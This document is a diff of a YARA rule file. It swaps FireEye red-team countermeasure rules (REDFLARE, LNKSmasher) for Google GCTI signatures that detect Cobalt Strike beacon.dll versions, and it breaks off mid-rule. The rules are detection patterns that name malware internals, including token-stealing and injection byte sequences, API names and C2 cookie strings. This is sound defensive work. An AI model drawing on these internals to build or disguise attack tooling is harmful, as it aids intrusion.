+		hash = "dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4"
+		logic_hash = "3f789eaf334c9bb3236d2834f38156aa92b22a5b674450977086378d195dd216"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
+
+	strings:
+		$version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 }
+		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+
+	condition:
+		all of them
+}
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_49
+{
+	meta:
+		description = "Cobalt Strike's resources/beacon.dll Version 1.49"
+		author = "gssincla@google.com"
+		id = "871e28c9-b580-5a32-8529-2290ded1a1b6"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L180-L211"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe"
+		logic_hash = "935232d5ddccdc0401b4d911cdc73a48305347b495219c8c893615fe918f32f1"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
-		$keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }
+		$version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 }
+		$decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Controller_Linux_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_0_49
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Controller_Linux_REDFLARE_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
-		logic_hash = "d6b0cc5f386da9bff8a8293f2b3857406044ab42f7c1bb23d5096052a3c42ce4"
+		description = "Cobalt Strike's resources/beacon.dll Version 2.0.49"
+		author = "gssincla@google.com"
+		id = "087c584a-5ceb-536a-8842-53fbd668df54"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L213-L243"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e"
+		logic_hash = "3616579dabcfd0ba413d17b4fbd0da5313b9beca94f7bf8e41f05d6679b4a215"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$1 = "/RedFlare/gorat_server"
-		$2 = "RedFlare/sandals"
-		$3 = "goratsvr.CommandResponse" fullword
-		$4 = "goratsvr.CommandRequest" fullword
+		$version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 }
+		$decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2  }
 
 	condition:
-		( uint32(0)==0x464c457f) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Downloader_Win32_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_1_And_V2_2
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win32_REDFLARE_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "05b99d438dac63a5a993cea37c036673"
-		logic_hash = "a340a2a732a9b1aa74ca9d84009a88d1b14b6a03140a859384c0d6e745e4a90a"
+		description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2"
+		author = "gssincla@google.com"
+		id = "384fb247-aae7-52e1-a45d-6bda0f80a04e"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L245-L276"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2"
+		logic_hash = "eee3702d6fde08b8e9f5533f903fa33fb3da808a3b76ca43e4d5029f9ce91ad0"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$const = "Cookie: SID1=%s" fullword
-		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 }
+		$version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Builder_PY_REDFLARE_2
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_3
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "1af407f5-6eb7-5be9-a3d9-cd0f7a5f2503"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_2.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4410e95de247d7f1ab649aa640ee86fb"
-		logic_hash = "675390e944a95156ad33ca783c90fdea9610cdc2e8c5c53e0c0fa213149b4714"
+		description = "Cobalt Strike's resources/beacon.dll Versions 2.3"
+		author = "gssincla@google.com"
+		id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L278-L308"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83"
+		logic_hash = "286d7ffa83634b82160788abaf1c5b319a09c4a1243af2401799f327be76ad75"
 		score = 75
-		quality = 75
+		quality = 85
 		tags = ""
-		rev = 1
 
 	strings:
-		$1 = "<510sxxII"
-		$2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
-		$3 = "parsePluginOutput"
+		$version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		all of them and #2==2
+		all of them
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_4
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "84881e5c-05df-5911-af42-ec82e559588c"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_2.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
-		logic_hash = "1f2e1f644b1932486444dfda30b7dad7f50121f59fa493eb8a1a0528ae46db26"
+		description = "Cobalt Strike's resources/beacon.dll Versions 2.4"
+		author = "gssincla@google.com"
+		id = "347a6b06-84a8-53ff-80a1-05fa1a48a412"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L310-L340"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed"
+		logic_hash = "087ec6f585e90b84c00e746beb37cb8365cb7b4d07ebd0c48e3ba3d5df94dba2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$1 = "initialize" fullword
-		$2 = "getData" fullword
-		$3 = "putData" fullword
-		$4 = "fini" fullword
-		$5 = "Cookie: SID1=%s" fullword
+		$version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Builder_PY_REDFLARE_1
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_5
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_1.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "d0a830403e56ebaa4bfbe87dbfdee44f"
-		logic_hash = "1948cadb7242eb69bffbc222802ce9c1af38d7a846da09b6343b1449fe054e42"
+		description = "Cobalt Strike's resources/beacon.dll Versions 2.5"
+		author = "gssincla@google.com"
+		id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L342-L372"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58"
+		logic_hash = "f2d0ca1414a60bf855543d99777ae5e83c451db41aba5e255e4c10b1e0bb7b47"
 		score = 75
-		quality = 75
+		quality = 85
 		tags = ""
-		rev = 1
 
 	strings:
-		$1 = "LOAD_OFFSET_32 = 0x612"
-		$2 = "LOAD_OFFSET_64 = 0x611"
-		$3 = "class RC4:"
-		$4 = "struct.pack('<Q' if is64b else '<L'"
-		$5 = "stagerConfig['comms']['config']"
-		$6 = "_x86.dll"
-		$7 = "_x64.dll"
+		$version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		all of them and @1[1]<@2[1] and @2[1]<@3[1] and @3[1]<@4[1] and @4[1]<@5[1]
+		all of them
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_8 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_0
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_8.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c"
-		logic_hash = "5b8a0402886daebefb995e7df0877d51727c5b8dc58eeb8ff16ceec5e7811a20"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.0"
+		author = "gssincla@google.com"
+		id = "132a1be8-f529-5141-ba03-fdf6df3d55d4"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L374-L404"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52"
+		logic_hash = "951f1b52c14010261022f9f920d53d3c1e88f41461798a23e72083c981f9de76"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$1 = "PSRunner.PSRunner" fullword
-		$2 = "CorBindToRuntime" fullword
-		$3 = "ReportEventW" fullword
-		$4 = "InvokePS" fullword wide
-		$5 = "runCommand" fullword
-		$6 = "initialize" fullword
-		$trap = { 03 40 00 80 E8 [4] CC }
+		$version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_1
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "6a585401-bfd3-5aad-b484-09b6a30d9af5"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_2.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4e7e90c7147ee8aa01275894734f4492"
-		logic_hash = "98dfb71adbde4f8965e612c19f0965d8fa95805825569290fdf72eb1d86cfb70"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.1"
+		author = "gssincla@google.com"
+		id = "aa511dee-69ea-53bd-be90-d2d03d08c550"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L406-L461"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf"
+		logic_hash = "2d91add3aefe69b4525f93f7ea9f2fcbd7a6c506a224997ff73a2eeef63a8cd4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF }
-		$s1 = "ResumeThread"
+		$version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_5 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_2
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "892981d6-f310-5ee8-95b5-dd4bd720a86c"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_5.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d"
-		logic_hash = "ab38e5ebded026829672941709797b40f8e13fb244b6a8ed3545de4358f727b8"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.2"
+		author = "gssincla@google.com"
+		id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L463-L528"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d"
+		logic_hash = "e1fe0d58d86ad8c845d65608314007ce08e3e524fb92cdb33ddae860c640e3e9"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
+		rs2 = "a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144"
 
 	strings:
-		$s1 = "AdjustTokenPrivileges" fullword
-		$s2 = "LookupPrivilegeValueW" fullword
-		$s3 = "ImpersonateLoggedOnUser" fullword
-		$s4 = "runCommand" fullword
-		$steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 }
+		$version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		$version_sig and $decoder and not $version3_1_sig
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_6 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_3
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "5875a9ec-c3ee-57f0-a430-4443db585def"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Win_REDFLARE_6.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2"
-		logic_hash = "1e6f8320e0c0b601fc72fa4d9c61e46adfbcd84638c97da5988ca848e036312a"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.3"
+		author = "gssincla@google.com"
+		id = "7cce26c9-1403-535f-bd9d-19667c7e313c"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L530-L560"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42"
+		logic_hash = "f9b9b669aacc156a4e07eab0c6a638f9b9d828e018d1db89e9e2c922641744ac"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "RevertToSelf" fullword
-		$s2 = "Unsuccessful" fullword
-		$s3 = "Successful" fullword
-		$s4 = "runCommand" fullword
-		$s5 = "initialize" fullword
+		$version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Trojan_Linux_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_4
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Linux_REDFLARE_1.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
-		logic_hash = "282f11c4c86d88d05f11e92f5483701d9a54c2dd39f21316cd271aa78a338d0f"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.4"
+		author = "gssincla@google.com"
+		id = "58a34ab6-c061-59a2-b929-8519d3d844e7"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L562-L592"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3"
+		logic_hash = "f3372bc538092e30c62d9599f76f2115dc73faf7a5fd6f86c8d4cfaa35473810"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "find_applet_by_name" fullword
-		$s2 = "bb_basename" fullword
-		$s3 = "hk_printf_chk" fullword
-		$s4 = "runCommand" fullword
-		$s5 = "initialize" fullword
+		$version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint32(0)==0x464c457f) and all of them
+		all of them
 }
-rule FIREEYE_RT_Dropper_LNK_Lnksmasher_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_5_Hf1_And_3_5_1
 {
 	meta:
-		description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
-		author = "FireEye"
-		id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/production/yara/Dropper_LNK_LNKSmasher_1.yar#L4-L18"
